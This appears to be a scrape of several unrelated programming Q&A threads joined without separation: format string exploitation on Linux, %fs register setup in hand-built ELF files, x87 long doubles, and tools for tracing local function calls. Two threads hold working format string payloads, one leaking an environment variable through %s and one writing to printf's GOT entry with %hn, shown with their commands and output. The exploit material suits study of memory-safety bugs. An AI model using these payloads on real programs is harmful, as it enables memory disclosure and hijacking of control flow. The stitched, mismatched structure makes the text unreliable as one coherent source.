I'm trying to read a value from the environment by using the format string vulnerability.
This type of vulnerability is documented all over the web, however the examples that I've found only cover 32 bits Linux, and my desktop's running a 64 bit Linux.
This is the code I'm using to run my tests on:
//fmt.c
#include <stdio.h>
#include <string.h>
int main (int argc, char *argv[]) {
char string[1024];
if (argc < 2)
return 0;
strcpy( string, argv[1] );
printf( "vulnerable string: %s\n", string );
printf( string );
printf( "\n" );
}
After compiling that I put my test variable and get its address. Then I pass it to the program as a parameter and I add a bunch of format in order to read from them:
$ export FSTEST="Look at my horse, my horse is amazing."
$ echo $FSTEST
Look at my horse, my horse is amazing.
$ ./getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb
$ printf '\xcb\xef\xff\xff\xff\x7f' | od -vAn -tx1c
cb ef ff ff ff 7f
313 357 377 377 377 177
$ ./fmt $(printf '\xcb\xef\xff\xff\xff\x7f')`python -c "print('%016lx.'*10)"`
vulnerable string: %016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.
00000000004052a0.0000000000000000.0000000000000000.00000000ffffffff.0000000000000060.
0000000000000001.00000060f7ffd988.00007fffffffd770.00007fffffffd770.30257fffffffefcb.
$ echo '\xcb\xef\xff\xff\xff\x7f%10$16lx'"\c" | od -vAn -tx1c
cb ef ff ff ff 7f 25 31 30 24 31 36 6c 78
313 357 377 377 377 177 % 1 0 $ 1 6 l x
$ ./fmt $(echo '\xcb\xef\xff\xff\xff\x7f%10$16lx'"\c")
vulnerable string: %10$16lx
31257fffffffefcb
The 10th value contains the address I want to read from, however it's not padded with 0s but with the value 3125 instead.
Is there a way to properly pad that value so I can read the environment variable with something like the '%s' format?
So, after experimenting for a while, I ran into a way to read an environment variable by using the format string vulnerability.
It's a bit sloppy, but hey - it works.
So, first the usual. I create an environment value and find its location:
$ export FSTEST="Look at my horse, my horse is amazing."
$ echo $FSTEST
Look at my horse, my horse is amazing.
$ /getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb
Now, no matter how I tried, putting the address before the format strings always got both mixed, so I moved the address to the back and added some padding of my own, so I could identify it and add more padding if needed.
Also, python and my environment don't get along with some escape sequences, so I ended up using a mix of both the python one-liner and printf (with an extra '%' due to the way the second printf parses a single '%' - be sure to remove this extra '%' after you test it with od/hexdump/whathaveyou)
$ printf `python -c "print('%%016lx|' *1)"\
`$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00') | od -vAn -tx1c
25 30 31 36 6c 78 7c 2d 2d 2d 2d 2d 2d 2d 2d cb
% 0 1 6 l x | - - - - - - - - 313
ef ff ff ff 7f
357 377 377 377 177
With that solved, next step would be to find either the padding or (if you're lucky) the address.
I'm repeating the format string 110 times, but your mileage might vary:
./fmt `python -c "print('%016lx|' *110)"\
`$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00')
vulnerable string: %016lx|%016lx|%016lx|%016lx|%016lx|...|--------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
0000000000000324|...|2d2d2d2d2d2d7c78|7fffffffefcb2d2d|0000038000000300|
00007fffffffd8d0|00007ffff7ffe6d0|--------
The consecutive '2d' values are just the hex values for '-'
After adding more '-' for padding and testing, I ended up with something like this:
./fmt `python -c "print('%016lx|' *110)"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')
vulnerable string: %016lx|%016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------
So, the address got pushed towards the very last format placeholder.
Let's modify the way we output these format placeholders so we can manipulate the last one in a more convenient way:
$ ./fmt `python -c "print('%016lx|' *109 + '%016lx|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')
vulnerable string: %016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------
It should show the same result, but now it's possible to use an '%s' as the last placeholder.
Replacing '%016lx|' with just '%s|' wont work, because the extra padding is needed. So, I just add 4 extra '|' characters to compensate:
./fmt `python -c "print('%016lx|' *109 + '||||%s|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')
vulnerable string: %016lx|%016lx|%016lx|...|||||%s|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c73|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|||||Look at my horse, my horse is amazing.|
------------------------------
Voilà, the environment variable got leaked.
I'm trying to figure out how the %fs register is initialized
when creating a elf image by hand.
The simple snippet I'd like to run is:
.text
nop
movq %fs:0x28, %rax;
1: jmp 1b
Which should read at offset 0x28 in the %fs segment. Normally this is where the stack canary is stored. Because I create the elf image by hand the %fs segment is not setup at all by my code this fails expectedly(?) .
Here is how I create the elf image:
0000000000000000 <.text>:
0: 90 nop
1: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
8: 00 00
a: eb fe jmp 0xa
I create the .text segment via
echo 9064488b042528000000ebfe | xxd -r -p > r2.bin
Then I convert to elf:
ld -b binary -r -o raw.elf r2.bin
objcopy --rename-section .data=.text --set-section-flags .data=alloc,code,load raw.elf
At that point raw.elf contains my instructions. I then link with
ld -T raw.ld -o out.elf -M --verbose where raw.ld is:
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_entry)
PHDRS {
phdr4000000 PT_LOAD;
}
SECTIONS
{
_entry = 0x4000000;
.text 0x4000000 : { raw.elf (.text) } :phdr4000000
}
I can now start out.elf with gdb:
gdb --args out.elf
and set a breakpoint at 0x4000000:
(gdb)break *0x4000000
(gdb)run
The first nop can be stepped via stepi, however the stack canary read mov %fs:0x28,%rax segfaults.
I suppose that is expected given that maybe the OS is not setting up %fs.
For a simple m.c: int main() { return 0; } program compiled with gcc --static m.c -o m I can read from %fs. Adding:
long can()
{
long v = 0;
__asm__("movq %%fs:0x28, %0;"
: "=r"(val)::);
return v;
}
lets me read from %fs - even though I doubt that %fs:28 is setup because ld.so is not run (it is a static image).
Question:
Can anyone point out where %fs is setup in the c runtime for static images?
You need to call arch_prctl with an ARCH_SET_FS argument before you can use the %fs segment prefix. You will have to allocate the backing store somewhere (brk, mmap, or an otherwise unused part of the stack).
glibc does this in __libc_setup_tls in csu/libc-tls.c for statically linked binaries, hidden behind the TLS_INIT_TP macro.
Let's consider:
#include <iostream>
int main(){
long double a=1.20, b=12.0;
std::cout << sizeof(long double);
add(a,b);
return 0;
}
g++ -m32 -o main main.cpp
After executing it turned out that size of long double is 12 bytes.
So, now, I would like to implement add function in 32-bit nasm.
How can I deal with addition floating points number? It is not a problem, just use FPU and fadd you can say. But, I have 12 byte number ( 96 bit). Our FPU registers are 80 bit. So it is a problem.
And another issue, I looked at code generated by gcc:
objdump -d main > main.s -M intel
( I know about -S flag, but I got used to objdump) and for addition long doubles the generated code is following:
80486e1: db 6d c8 fld TBYTE PTR [ebp-0x38]
80486e4: db 6d d8 fld TBYTE PTR [ebp-0x28]
80486e7: de c1 faddp st(1),st
How is it possible? After all, we have 80 bit registers and compiler try to load 96 bit numbers to them.
Please make clear my mind. :)
I am trying to perform a return to libc format string attack, but the address I want to write to ( 0x0804a000) has a null byte in it!! I have to read in my format string to snprintf so the null byte causes it to malfunction and Segfaults randomly.
buf[70];
snprintf(buf, 80, argv[1]);
printf(buf);
Here is the GDB dump for printf#plt:
(gdb) disassem 0x080483c0
Dump of assembler code for function printf#plt:
0x080483c0 <+0>: jmp *0x804a000
0x080483c6 <+6>: push $0x0
0x080483cb <+11>: jmp 0x80483b0
End of assembler dump.
Does anyone have any ideas?
My current method is running it like this
./program `perl -e 'print "sh;#\x00\xa0\x04\x08%12345x%10$hn"'`
but there is a null byte. I have also tried
./program `perl -e 'print "sh;#\xff\x9f\x04\x08\x00\xa0\x04\x08%12345x%10$hn%12345x%11$hn"'`
but the address before 0x0804a000 has the global offset table, and therefore snprintf Segfaults before even returning the to function that calls it.
A common way out of this is to make some "memory construction" using the stack.
At the end of the construction you need to have somewhere on the stack (let's call that location n and let's say it correspond to the fifth parameter) :
00 a0 04 08
Given that you can start by writing 0x01 (Or whatever you prefer, we are only interested in the null byte) to n-1. The memory at location n will looks like :
00 ?? ?? ??
Then write 0x04a0 into n+1 thus the memory at location n looks like :
00 a0 04 ??
The final step would be to write 0xff08 into n+3.
Once that's done you can use direct parameter accessing to get your address and write a value at the pointed location.
%12345x%5$n
All you have to do is play with $hn and $n and find a way to overlap the data that suit you. I hope you get the idea.
I am looking for a tool like ltrace or strace that can trace locally defined functions in an executable. ltrace only traces dynamic library calls and strace only traces system calls. For example, given the following C program:
#include <stdio.h>
int triple ( int x )
{
return 3 * x;
}
int main (void)
{
printf("%d\n", triple(10));
return 0;
}
Running the program with ltrace will show the call to printf since that is a standard library function (which is a dynamic library on my system) and strace will show all the system calls from the startup code, the system calls used to implement printf, and the shutdown code, but I want something that will show me that the function triple was called. Assuming that the local functions have not been inlined by an optimizing compiler and that the binary has not been stripped (symbols removed), is there a tool that can do this?
Edit
A couple of clarifications:
It is okay if the tool also provides trace information for non-local functions.
I don't want to have to recompile the program(s) with support for specific tools, the symbol information in the executable should be enough.
I would be really nice if I could use the tool to attach to existing processes like I can with ltrace/strace.
Assuming you only want to be notified for specific functions, you can do it like this:
compile with debug informations (as you already have symbol informations, you probably also have enough debugs in)
given
#include <iostream>
int fac(int n) {
if(n == 0)
return 1;
return n * fac(n-1);
}
int main()
{
for(int i=0;i<4;i++)
std::cout << fac(i) << std::endl;
}
Use gdb to trace:
[js#HOST2 cpp]$ g++ -g3 test.cpp
[js#HOST2 cpp]$ gdb ./a.out
(gdb) b fac
Breakpoint 1 at 0x804866a: file test.cpp, line 4.
(gdb) commands 1
Type commands for when breakpoint 1 is hit, one per line.
End with a line saying just "end".
>silent
>bt 1
>c
>end
(gdb) run
Starting program: /home/js/cpp/a.out
#0 fac (n=0) at test.cpp:4
1
#0 fac (n=1) at test.cpp:4
#0 fac (n=0) at test.cpp:4
1
#0 fac (n=2) at test.cpp:4
#0 fac (n=1) at test.cpp:4
#0 fac (n=0) at test.cpp:4
2
#0 fac (n=3) at test.cpp:4
#0 fac (n=2) at test.cpp:4
#0 fac (n=1) at test.cpp:4
#0 fac (n=0) at test.cpp:4
6
Program exited normally.
(gdb)
Here is what i do to collect all function's addresses:
tmp=$(mktemp)
readelf -s ./a.out | gawk '
{
if($4 == "FUNC" && $2 != 0) {
print "# code for " $NF;
print "b *0x" $2;
print "commands";
print "silent";
print "bt 1";
print "c";
print "end";
print "";
}
}' > $tmp;
gdb --command=$tmp ./a.out;
rm -f $tmp
Note that instead of just printing the current frame(bt 1), you can do anything you like, printing the value of some global, executing some shell command or mailing something if it hits the fatal_bomb_exploded function :) Sadly, gcc outputs some "Current Language changed" messages in between. But that's easily grepped out. No big deal.
System Tap can be used on a modern Linux box (Fedora 10, RHEL 5, etc.).
First download the para-callgraph.stp script.
Then run:
$ sudo stap para-callgraph.stp 'process("/bin/ls").function("*")' -c /bin/ls
0 ls(12631):->main argc=0x1 argv=0x7fff1ec3b038
276 ls(12631): ->human_options spec=0x0 opts=0x61a28c block_size=0x61a290
365 ls(12631): <-human_options return=0x0
496 ls(12631): ->clone_quoting_options o=0x0
657 ls(12631): ->xmemdup p=0x61a600 s=0x28
815 ls(12631): ->xmalloc n=0x28
908 ls(12631): <-xmalloc return=0x1efe540
950 ls(12631): <-xmemdup return=0x1efe540
990 ls(12631): <-clone_quoting_options return=0x1efe540
1030 ls(12631): ->get_quoting_style o=0x1efe540
See also: Observe, systemtap and oprofile updates
Using Uprobes (since Linux 3.5)
Assuming you wanted to trace all functions in ~/Desktop/datalog-2.2/datalog when calling it with the parameters -l ~/Desktop/datalog-2.2/add.lua ~/Desktop/datalog-2.2/test.dl
cd /usr/src/linux-`uname -r`/tools/perf
for i in `./perf probe -F -x ~/Desktop/datalog-2.2/datalog`; do sudo ./perf probe -x ~/Desktop/datalog-2.2/datalog $i; done
sudo ./perf record -agR $(for j in $(sudo ./perf probe -l | cut -d' ' -f3); do echo "-e $j"; done) ~/Desktop/datalog-2.2/datalog -l ~/Desktop/datalog-2.2/add.lua ~/Desktop/datalog-2.2/test.dl
sudo ./perf report -G
Assuming you can re-compile (no source change required) the code you want to trace with the gcc option -finstrument-functions, you can use etrace to get the function call graph.
Here is what the output looks like:
\-- main
| \-- Crumble_make_apple_crumble
| | \-- Crumble_buy_stuff
| | | \-- Crumble_buy
| | | \-- Crumble_buy
| | | \-- Crumble_buy
| | | \-- Crumble_buy
| | | \-- Crumble_buy
| | \-- Crumble_prepare_apples
| | | \-- Crumble_skin_and_dice
| | \-- Crumble_mix
| | \-- Crumble_finalize
| | | \-- Crumble_put
| | | \-- Crumble_put
| | \-- Crumble_cook
| | | \-- Crumble_put
| | | \-- Crumble_bake
On Solaris, truss (strace equivalent) has the ability to filter the library to be traced. I'm was surprised when I discovered strace doesn't have such a capability.
KcacheGrind
https://kcachegrind.github.io/html/Home.html
Test program:
int f2(int i) { return i + 2; }
int f1(int i) { return f2(2) + i + 1; }
int f0(int i) { return f1(1) + f2(2); }
int pointed(int i) { return i; }
int not_called(int i) { return 0; }
int main(int argc, char **argv) {
int (*f)(int);
f0(1);
f1(1);
f = pointed;
if (argc == 1)
f(1);
if (argc == 2)
not_called(1);
return 0;
}
Usage:
sudo apt-get install -y kcachegrind valgrind
# Compile the program as usual, no special flags.
gcc -ggdb3 -O0 -o main -std=c99 main.c
# Generate a callgrind.out.<PID> file.
valgrind --tool=callgrind ./main
# Open a GUI tool to visualize callgrind data.
kcachegrind callgrind.out.1234
You are now left inside an awesome GUI program that contains a lot of interesting performance data.
On the bottom right, select the "Call graph" tab. This shows an interactive call graph that correlates to performance metrics in other windows as you click the functions.
To export the graph, right click it and select "Export Graph". The exported PNG looks like this:
From that we can see that:
the root node is _start, which is the actual ELF entry point, and contains glibc initialization boilerplate
f0, f1 and f2 are called as expected from one another
pointed is also shown, even though we called it with a function pointer. It might not have been called if we had passed a command line argument.
not_called is not shown because it didn't get called in the run, because we didn't pass an extra command line argument.
The cool thing about valgrind is that it does not require any special compilation options.
Therefore, you could use it even if you don't have the source code, only the executable.
valgrind manages to do that by running your code through a lightweight "virtual machine".
Tested on Ubuntu 18.04.
$ sudo yum install frysk
$ ftrace -sym:'*' -- ./a.out
More: ftrace.1
If you externalize that function into an external library, you should also be able to see it getting called, ( with ltrace ).
The reason this works is because ltrace puts itself between your app and the library, and when all the code is internalized with the one file it can't intercept the call.
ie: ltrace xterm
spews stuff from X libraries, and X is hardly system.
Outside this, the only real way to do it is compile-time intercept via prof flags or debug symbols.
I just ran over this app, which looks interesting:
http://www.gnu.org/software/cflow/
But I dont think thats what you want.
If the functions aren't inlined, you might even have luck using objdump -d <program>.
For an example, let's take a loot at the beginning of GCC 4.3.2's main routine:
$ objdump `which gcc` -d | grep '\(call\|main\)'
08053270 <main>:
8053270: 8d 4c 24 04 lea 0x4(%esp),%ecx
--
8053299: 89 1c 24 mov %ebx,(%esp)
805329c: e8 8f 60 ff ff call 8049330 <strlen#plt>
80532a1: 8d 04 03 lea (%ebx,%eax,1),%eax
--
80532cf: 89 04 24 mov %eax,(%esp)
80532d2: e8 b9 c9 00 00 call 805fc90 <xmalloc_set_program_name>
80532d7: 8b 5d 9c mov 0xffffff9c(%ebp),%ebx
--
80532e4: 89 04 24 mov %eax,(%esp)
80532e7: e8 b4 a7 00 00 call 805daa0 <expandargv>
80532ec: 8b 55 9c mov 0xffffff9c(%ebp),%edx
--
8053302: 89 0c 24 mov %ecx,(%esp)
8053305: e8 d6 2a 00 00 call 8055de0 <prune_options>
805330a: e8 71 ac 00 00 call 805df80 <unlock_std_streams>
805330f: e8 4c 2f 00 00 call 8056260 <gcc_init_libintl>
8053314: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
--
805331c: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8053323: e8 78 5e ff ff call 80491a0 <signal#plt>
8053328: 83 e8 01 sub $0x1,%eax
It takes a bit of effort to wade through all of the assembler, but you can see all possible calls from a given function. It's not as easy to use as gprof or some of the other utilities mentioned, but it has several distinct advantages:
You generally don't need to recompile an application to use it
It shows all possible function calls, whereas something like gprof will only show the executed function calls.
There is a shell script for automatizating tracing function calls with gdb. But it can't attach to running process.
blog.superadditive.com/2007/12/01/call-graphs-using-the-gnu-project-debugger/
Copy of the page - http://web.archive.org/web/20090317091725/http://blog.superadditive.com/2007/12/01/call-graphs-using-the-gnu-project-debugger/
Copy of the tool - callgraph.tar.gz
http://web.archive.org/web/20090317091725/http://superadditive.com/software/callgraph.tar.gz
It dumps all functions from program and generate a gdb command file with breakpoints on each function. At each breakpoint, "backtrace 2" and "continue" are executed.
This script is rather slow on big porject (~ thousands of functions), so i add a filter on function list (via egrep). It was very easy, and I use this script almost evry day.
Gprof might be what you want
See traces, a tracing framework for Linux C/C++ applications:
https://github.com/baruch/traces#readme
It requires recompiling your code with its instrumentor, but will provide a listing of all functions, their parameters and return values. There's an interactive to allow easy navigation of large data samples.
Hopefully the callgrind or cachegrind tools for Valgrind will give you the information you seek.
NOTE: This is not the linux kernel based ftrace, but rather a tool I recently designed to accomplish local function tracing and control flow. Linux ELF x86_64/x86_32 are supported publicly.
https://github.com/leviathansecurity/ftrace